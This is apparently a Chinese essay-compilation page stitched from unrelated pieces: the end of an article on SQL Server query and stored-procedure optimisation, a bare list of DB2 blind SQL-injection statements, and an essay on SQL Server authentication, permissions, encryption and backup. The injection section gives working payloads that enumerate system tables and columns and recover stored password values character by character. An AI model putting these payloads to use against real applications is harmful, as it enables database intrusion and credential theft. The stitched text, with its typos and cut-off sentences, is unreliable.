(1) 在SQL Server的使用过程中, 系统数据库tempdb会根据需要而自动扩展, 利用了大量的临时空间。在执行查询进行时, 可以利用WHERE语句来对必须处理的行数进行限制, 以免对所有的记录行进行非必要的无限制读取和处理。

(2) 添加更多的内存。

(3) 将一个大的查询拆开, 分成多步进行执行。

(4) 多个处理器可以使SQL Server进行并行查询, 因此, 可以在有多个处理器的计算机行运行SQL Server。

(5) 如果查询需要游标, 则要对使游标类型或游标查询的功能就行进行确认, 以标准游标的使用效率。

(6) 在确实需要程序使用循环时, 则可以考虑在查询内放入循环。

(7) 避免对同一查询内的单个表使用多个别名, 以免增加查询的难度。

(8) 利用guery governor配置选项来对长时间运行的查询进行阻止, 以免系统资源的消耗。

(9) 对有关当前查询的统计信息进行记录。在开始优化查询之前要对提供了可以测量优化修订后成功与否的测试标准的Showpian和I/O统计信息进行记录。

(10) 从基础入手, 检查是否存在着可用的索引, 检查运行查询时是否有其他的触发器在同时运行, 查询是否运用了视图、是否使用了非查找变量符。

4. 存储过程的优化。

存储过程是分析和编译后的SOL程序, 包含大量复杂的查询或者是SQL操作, 通过编译的程序存储在SQL数据库中, 客户可以利用应用程序对其名称进行查询的方式加以调用。

存储过程在第一次执行时建立优化的查询方案, 第一次执行后SQL Server产生的优化后的查询计划就会被保留在内存中, 再次使用时不需要再次编译、优化就可以直接执行查询计划, 从而改善了系统的性能, 节省了查询的时间。

存储过程通过本地存储、代码预编译及缓存技术能够实现高效的数据操作, 合理的使用存储过程不仅优化了程序员的程序设计, 还可以极大的提高SQL语言的使用效率;将其使用在服务器上, 也有助于减少向客户端传输的数据量, 提高传输和处理数据的效率。

最优查询方案的选择, 往往要根据实际要求和具体情况进行比较。SQL Server提供的Showpian能够对不同查询结构的性能包括查询计划、索引选择、I/O次数和响应时间等进行比较。在设计开发中, 可以对这一工具加以。

5. 对客户/服务器体系结构进行利用

(1) 保持客户、服务器工作负载的平衡。一般情况下, 服务器最适合处理基于集合的数据检索和维修操作;而客户工作站在显示复杂的用户界面、处理数据格式化和特殊行或列的数据有效验证效率最高, 在设计开发时, 要充分考虑到两者的特点。发挥各自的优势, 努力实现达到均衡负载。

(2) 减少网络负载。网络是客户/服务器工作的基础, 但网络宽带的有限性也常使它成为一个主要的瓶颈。减少网络负载, 可以对系统的响应时间进行改善。使用存储过程有效地减少网络流量。这样, 客户不需要发送大量的SQL语句, 仅仅传递一些参数就可以对存储过程进行调用。

6. 结语

综上所述, 在SQL Server数据库的设计开发阶段进行性能的优化, 可以从多个方面进行, 具有很大的优势和效益, 因此, 要把性能优化贯穿于数据库系统的整个周期进行。

参考文献

[1]魏银珍, 陈征兵, WEI Yin-zhen, CHEN Zhen-bing, SQLServer数据库的查询优化策略研究, [J]电脑知识与技术, 2011, 07 (29)

[2]揭晓陵, 张红, 熊亮春, 影响SQL SERVER数据库性能的因素及优化, [J]江西电力职工大学学报, 2002, 15 (3)

[3]徐丽媛, 张亚宾, 基于SQL Server数据库查询优化的几点思考, [J]科技信息, 2010 (20)

[4]李荣瀚, SQLServer数据库性能优化, [J]科海故事博览科技探索, 2011 (3)

[5]宋益众, Microsoft SQL Server2000数据库管理系统性能研究, [J]电脑知识与技术 (技术论坛) , 2005 (6)

11.DB2数据库SQL注入语句 篇十一

猜用户表数量:

and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)

猜表长度:

and 3<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)

猜表第一个字符ASCII码:

and 3<(SELECT ASCII(SUBSTR(NAME,1,1)) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)

猜表内列名数量:

and 1<(SELECT COUNT(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘)

猜第一个列名的长度

and 1<(SELECT LENGTH(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)

猜第一个列名第一个字符的ASCII码

and 1<(SELECT ASCII(SUBSTR(COLNAME,1,1)) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)

依ID排降序,猜第一个PASSWD的长度

and 0<(SELECT LENGTH(PASSWD) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)

依ID排降序,猜第一个PASSWD第一个字符的ASCII码

and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)

猜第二个PASSWD第一个字符的ASCII码

12.sqlserver数据库语句 篇十二

随着计算机网络和应用的广泛普及, SQL Server数据库在各行各业中得到了广泛的应用。都知道在数据库中存储着诸如: 企业机构资料、客户资料、财务数据、个人信息、 机密文件等相关资料。这些数据会因为计算机软、硬件故障、木马、 病毒、网络攻击等诸多因素, 都可能导致数据中数据的丢失。因此, 数据库安全对于数据库管理员和数据库管理系统来说显得至关重要。

2 SQL Server 数据库的安全机制与策略

2.1 对 SQL Server 数据库的认识

SQL的全名为Structure Query Language, 中文意思为结构化查询语言。SQL语言其主要职能是同种数据库之间建立联系并进行沟通。SQL数据库的语言也可以不光仅仅只在数据库中进行操作, 还可以用它的语言来进行各种各样的操作。比如说更新数据库中的数据, 从数据库中提取数据等中要职能。目前, 在大多数企业、事业单位等使用的关系型数据库中就只有如Oracle、SQL Server等。

其实在最先开始SQL Server数据库不是某一家公司开发的, 它是由Microsoft、Sybase和Ashton-Tate 3家公司联合开发的, 但是在一段时间之后由于在开发上面的意见不合, Microsoft公司和Sybase公司结束双方的合作历程。Microsoft公司专注于把SQL Server数据库注入在自己的Windows系统上,而Sybase公司则专注于在Unix等其他的系统之上。但不管是Microsoft公司, 还是Sybase公司 , 他们经过多年的开发完善使得SQL Server以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众、完美的数据库平台。

2.2 SQL Server 数据库的安全机制

数据库的安全行是为了防止别人非法侵入, 导致原有数据泄露、篡改。SQL Server数据库想要保证数据库的安全, 就要防止数据库中的信息不被泄露和篡改。其主要分为数据库的访问安全和对数据库操作的安全两部分。

2.2.1 数据库的安全访问机制

不管是在哪一个数据库中, 良好的安全访问机制由数据库都是由其自身提供的。安全访问数据库第一道门槛是, 可以访问数据的用户必须是合法的用户。这一过程主要由身份认证来实现的。身份验证主要包括两种模式: 一种是Windows身份验证模式, 另一种是Windows身份验证和数据库本身的验证, 也称混合验证模式。

(1) Windows身份验证模式

SQL Server的Windows身份验证模式是SQL Server通过Windows操作系统来获取用户信息。这种认证机制完全取决于Windows操作系统的登录认证机制 , 简单来说就是登录Windows系统时的用户名和密码, 也就是说连接数据库的条件是,只要用户是具有Windows操作系统身份就可以直接访问数据库。在这种访问机制中, 运用的是kerberos安全协议。这种协议的认证是通过强密码的复杂性验证提供密码机制, 支持账户锁定和密码过期。

(2) 混合认证模式

混合模式下, 有两种方式可以登录到数据库中: 一种是SQL Server数据库允许被授权的合法Windows用户登录; 另一种是SQL Server数据库中被授权的合法用户也是可以访问数据库的。非Windows操作系统用户在混合型认证方式下同样也可以访问SQL Server数据库服务器。默认情况下使用的是Windows验证。为避免不合法的用户登录到数据库中, 此种模式提供了很好的安全机制, 即在该模式下需要访问数据库的用户, 需要提供Windows和SQL Server数据库的身份信息。合法用户通过了身份认证才能够访问数据库, 避免了非法用户的入侵和恶意篡改。

2.2.2 SQL Server 数据库的安全操作机制

能对数据库进行操作的并不是所有的合法用户。这必须针对不同的数据库用户。在不同的数据库中, 针对能对数据库进行操作的用户来说都设定不同的访问权限, 以保证各级用户不能随意地更改数据库中已经存在的信息。为了达到此项目的, 在SQL Server数据库中, 各级不同用户被授予了不同的用户权限来行使不同的职能。用户的权限包括对象、语句权限和隐含权限3类。

(1) 对象权限的含义

用户在进行相应的操作之前, 只有被授予相应的权限之后才能进行。操作的对象可以是已经创建好的如表、视图、等数据, 对这些表格、视图等数据进行查询、更新、删除或者创建的权限被称为对象权限。

(2) 语句权限的含义

可以在数据库中执行如创建表格、视图等的权限被称为语句权限。只有被授予语句权限的用户可以行使相应的权限。

(3) 隐含权限含义

隐含权限是指数据库拥有者和数据库对象拥有者所拥有的权限, 又可以称之为系统内置权限。用户想要得知自己在那些方面具有操作权限, 就可以通过用户的权限设置得知。这样做就既可以进一步保证用户数据库的安全, 又可以对数据库的安全起到了防御作用。

2.3 SQL Server 数据库的安全缺陷

大部分公司、企业、机构和相关单位都是用各类数据库来存储数据的, 其中的不乏一些基本的档案信息、人员薪资、档案信息、公司账目、业务信息、 账户信息等方面的一些信息。特别重要的是数据库中还可能存储这公司的机密文件和发展战略。为了防止这些重要文件的丢失、泄密或者篡改,必须采用许多的安全措施来确保数据库的安全。所以很多的公司企业用运用其他的数据库, 为了提升SQL Server数据库的竞争力, SQL Server面临了各种挑战, 比如密码破解、系统入侵和系统本身的问题。

电子商务、ERP系统和金融系统大都是在SQL Server数据库上建立的。由此可见数据库的SQL Server数据库已经渗透到了业务系统的底层中。很大一部分是网络购物网站就是在其基础上创建的。而大部分的管理人员对网络安全和系统安全的关注远远大于数据库安全的关注。之所以会造成这样的后果, 是因为他们对数据库不了解, 对数据库的安全不够重视。系统的安全问题和不正确的安全设置会导致很严重的安全事故, 并且很难查出。普遍的SQL Server数据库使用的是端口型的, 这就意味着所有的客户端都可以尝试利用端口登录。

3 安全策略

3.1 安全账户的认证

鉴于SQL Server数据库安全问题, 所以在登录服务器时,必须是数据库中的安全账户才能登录。登录的账户在之前也说到有SQL Server和Windows两类账户, 登录到SQL Server服务器时, 需要对用户的身份进行验证。用SQL Server账户进行认证时, 必须使用事先在SQL Server服务器中创建的用户名和密码来连接。在使用Windows账户进行验证时, 必须使用登录操作系统的用户名和密码来进行连接。安全账户认证策略是按照不同的登录账户采用不同的身份认证方式。

3.2 数据库中账户使用权限

当用户访问数据库时, 用户必须使用在数据库中建立有该用户的基础之上才能访问。如果数据库用户被指定数据库的固定角色的成员, 那么数据库中的该账户就只具有被指定的数据库的相应权限。

不同的角色所拥有的权限也是不同的。这就好比公司的领导和员工, 所站的位置, 扮演的角色不同拥有的相应的权利也是不同的。在固定的数据库中设置数据库的方法是: 首先创建数据库用户, 并且使之与对应的登录账户相关联; 其次是选择数据库中某种固定的角色, 把该用户添加至其中。

4 管理策略

4.1 对数据库进行加密

对数据库进行加密通常是把数据库中的明文条目变成密文条目。也就是说将数据以密文的形式保存。在需要对数据进行操作时, 再将密文转换为明文。这样即使有人想要篡改数据, 也不能轻易得手, 从而大大增加了数据库的安全性。

4.2 及时将数据库中的信息进行备份

影响数据库的安全因素有很多, 常见的别说黑客的侵入,软件及硬件故障, 最可怕的是病毒的入侵等。那么为了使数据库中的数据安全, 就必须要事先将这些数据进行及时的备份。为了防止硬件设备抛锚所引起的数据丢失, 这时就需要进行异地备份, 这样才能巩固数据的安全。

4.3 使用多种手段来实现数据的安全

数据库的安全性不光只有上述的几种方法, 还可以通过多种手段来实现。通常实现手段有4种, (1) 通过数据库的角色来实现;(2) 通过服务器角色的建立来实现; (2) 通过视图角色来实现;(3) 通过存储过程角色来实现。

5 安全问题设置

要想巩固数据库的安全地位, 就必须从根本出发。就必须在对SQL Server数据库设计时, 要时刻记住注意数据库的安全机制, 也就是说安装时整个数据库系统以及操作系统可靠的安全设置。就操作系统的角度而言, 首先要确定其安全设置要具有一定的正确性, 其次是在确定该操作系统用户拥有对数据库的操作权限之后, 必须要借助文件驱动程序对用户的文件操作实行过滤。也就是对数据库、日志及备份文件等操作权限进行限定, 将其限定为数据库进程, 指定进程后才能对数据库进行操作, 这样其它进程对数据库进行的操作都不能成功。这样数据库的安全性就由操作系统、数据库系统本身及网络传输的安全性来决定了, 这样做可以排除操作系统、数据库系统以外的软件的一些不安全因素。SQL Server数据库系统必须进行正确的安全设置, 只有通过正确设置才可以降低由于操作系统信息丢失、数据库系统信息泄漏导致的损失。

6 结语

上一篇:小学数学教师4个关键任务下一篇:高校后勤